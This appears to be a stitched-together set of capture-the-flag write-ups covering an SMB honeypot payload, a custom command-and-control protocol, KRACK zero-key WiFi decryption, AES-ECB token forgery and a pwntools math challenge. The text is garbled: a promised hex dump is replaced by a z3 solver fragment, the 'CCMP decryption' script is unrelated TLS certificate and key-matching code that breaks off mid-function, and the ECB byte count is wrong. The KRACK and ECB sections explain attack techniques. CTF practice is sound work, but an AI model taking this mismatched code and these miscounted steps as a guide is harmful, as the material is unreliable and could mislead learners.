We have a honey pot running on one of our internal networks. We
received an alert today that the machine was compromised, but we can’t
figure out what the attacker did. Can you find the flag hidden in the
attacker's payload?
我们在内部网络中运行了一个蜜罐。今天我们收到警报，显示该机器已被入侵，但我们无法确定攻击者做了什么。你能找到隐藏在攻击者有效载荷中的
flag 吗？
Network Traffic
The provided logs show SMB (Server Message Block) traffic on port 445
(microsoft_ds). The sequence of
SMBNegotiate_Request and
SMB2_Negotiate_Protocol_Request suggests an attempt to
exploit an SMB vulnerability.
1 2 3 4
0001 Ether / IP / TCP 192.168.10.168:microsoft_ds > 10.0.5.15:42799 SA / Padding 0003 Ether / IP / TCP 10.0.5.15:42799 > 192.168.10.168:microsoft_ds PA / NBTSession / SMB_Header / SMBNegotiate_Request ... 0203 Ether / IP / TCP 10.0.5.15:43947 > 192.168.10.168:microsoft_ds PA / NBTSession / SMB2_Header / SMB2_Negotiate_Protocol_Request / Raw
Payload Extraction
Following the TCP stream and exporting the raw data with Wireshark,
we get the following hex dump:
flag = [BitVec(f"flag[{i}]", 32) for i inrange(40)]
for i inrange(40): s.add(flag[i] >= 32, flag[i] <= 126)
for line in raw_js.strip().split("&&"): line = line.strip() ifnot line: continue
# Convert: A ^ (B == N) -> (A ^ B) == N if"^"in line: line = re.sub(r"(.*)\^\s*\((.*)\s*==\s*(-?\d+)\)", r"(\1 ^ (\2)) == \3", line)
s.add(eval(line))
if s.check() == sat: m = s.model() result = "".join([chr(m[flag[i]].as_long()) for i inrange(40)]) print(f"\n[+] Result: {result}") else: print("\n[-] Unsatisfiable.")
Notes
^ in JavaScript is bitwise XOR (not exponent), so
constraints must be modeled as XOR equations.
32-bit BitVec variables are used to match JavaScript
bitwise operation behavior.
We are working on our own custom command and control protocol. Can
you identify any hidden features in the service? We also included a
packet capture of some old sessions so you can learn how it works.
The first step was to examine the provided packet capture
(custom_protocol_log.pcap) to understand the communication
pattern. I used scapy to extract and decode raw data from
the TCP streams.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
#!/usr/bin/env python3 from scapy.allimport * from scapy.layers.inet import TCP
PCAP_FILE = "custom_protocol_log.pcap"
defprint_hex(pcap_path): packets = rdpcap(pcap_path) for pkt in packets: if TCP in pkt and pkt.haslayer(Raw): raw = pkt[Raw].load try: # Attempt to decode or print as hex print(raw.hex()) except Exception as e: print(f"[-] Error: {e}")
if __name__ == "__main__": print_hex(PCAP_FILE)
Protocol Reversal
By analyzing the hex data from the traffic between
172.17.0.1 and 172.17.0.2, a clear pattern
emerged:
Our WiFi keeps disconnecting. We captured wireless traffic to try and
figure out what’s happening, but it’s all temporal zeros to us! I think
someone is trying to exploit a WiFi vulnerability.. Can you decrypt the
traffic and gain access to the flag?
The hint "temporal zeros" and the context of a WiFi vulnerability
strongly suggest the KRACK (Key Reinstallation Attack),
specifically CVE-2017-13077.
Vulnerability Analysis: Why
"Zeros"?
In a standard WPA2 4-way handshake, the client and AP negotiate a
PTK (Pairwise Transient Key). KRACK works by
intercepting and replaying Message 3 of the handshake, forcing the
client to reinstall an already in-use key. This resets nonces (packet
numbers) and replay counters.
For certain versions of wpa_supplicant (notably 2.4 and
2.5), a critical implementation bug exists: when the key is reinstalled,
the Temporal Key (TK) is not just reused, but
cleared to all zeros.
The captured 802.11 CCMP packets are encrypted using a
16-byte key of \x00 values.
The WPA2 4-way Handshake &
PTK
Message 1: AP sends a random number
(ANonce) to the Client.
Message 2: Client generates its own random number
(SNonce), derives the PTK using both Nonces, and sends
SNonce to the AP.
Message 3: AP derives the same PTK, sends the Group
Temporal Key (GTK), and instructs the Client to install the PTK.
Message 4: Client confirms installation with an
ACK.
The KRACK attack manipulates Message 3 to trigger the "all-zero" TK
bug.
Decryption Methods
Method 1: Wireshark GUI
If you prefer a visual approach, you can configure Wireshark to
decrypt the traffic using the zeroed key:
Open Preferences
(Ctrl + Shift + P).
Go to Protocols -> IEEE 802.11.
Check "Enable decryption".
Click "Edit..." next to Decryption keys.
Add a new key:
Key type: tk
Key: 00000000000000000000000000000000
(32 zeros)
Method 2: Scapy Script (CLI)
The following script manually reconstructs the CCM Nonce and decrypts
the packets using the zeroed Temporal Key.
#!/usr/bin/env python3 import glob import os from cryptography import x509 from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from scapy.allimport * from scapy.layers.tls.allimport TLS from scapy.layers.tls.cert import Cert from scapy.layers.tls.handshake import TLSCertificate
defextract_certs_from_pcap(pcap_path): """Extracts TLS certificates from a PCAP file.""" packets = rdpcap(pcap_path) cert_list = []
for pkt in packets: if pkt.haslayer(Raw): raw = pkt[Raw].load try: tls_parsed = TLS(raw) tls_cert_layer = tls_parsed.getlayer(TLSCertificate) if tls_cert_layer: for _, x509_wrapper in tls_cert_layer.certs: cert_list.append(x509_wrapper) print(f"[+] Extracted Certificate: {x509_wrapper.subject}") except Exception: continue return cert_list
defget_rsa_modulus(cert_obj): """Extracts the RSA modulus from a Scapy Cert object.""" try: ifnotisinstance(cert_obj, Cert): returnNone pubkey_bytes = cert_obj.pubKey.der public_key = serialization.load_der_public_key(pubkey_bytes)
ifisinstance(public_key, rsa.RSAPublicKey): return public_key.public_numbers().n except Exception as e: print(f"[-] Error parsing public key: {e}") returnNone
deffind_matching_key(target_modulus, keys_directory): """Finds a PEM private key in a directory matching the given modulus.""" print(f"[*] Searching for matching key in {keys_directory}...")
for key_file in glob.glob(os.path.join(keys_directory, "*")): try: withopen(key_file, "rb") as f: private_key = serialization.load_pem_private_key( f.read(), password=None, backend=default_backend() )
An encryption service encrypts plaintext, but blocks encryption of
the impossible_flag_user string. Exploit the ECB mode
implementation to forge an encrypted token that decrypts to this
forbidden value.
Vulnerability
The service uses AES in ECB mode, which has critical
weakness: identical plaintext blocks produce identical ciphertext
blocks. By crafting specific payloads, we can:
Encrypt the first 16 bytes of the target string
Encrypt padding-aligned subsequent bytes
Concatenate the cipher blocks to forge a valid token
Exploit Strategy
The target user is: impossible_flag_user (23 bytes)
Block 1: Encrypt impossible_flag_ (16
bytes) → get first cipher block
Block 2: Encrypt user + PKCS#7 padding
→ get second cipher block
Combine: Concatenate blocks to form forged token →
decrypt equals target
Socket challenge requiring automation to solve 500 arithmetic
problems programmatically. Use Python with pwntools to interface with
the remote service and automate the solution.
Key Considerations
Library: pwntools for socket communication
Custom delimiter: Uses \r\n instead of
standard \n
Approach: Parse math expressions dynamically and
compute answers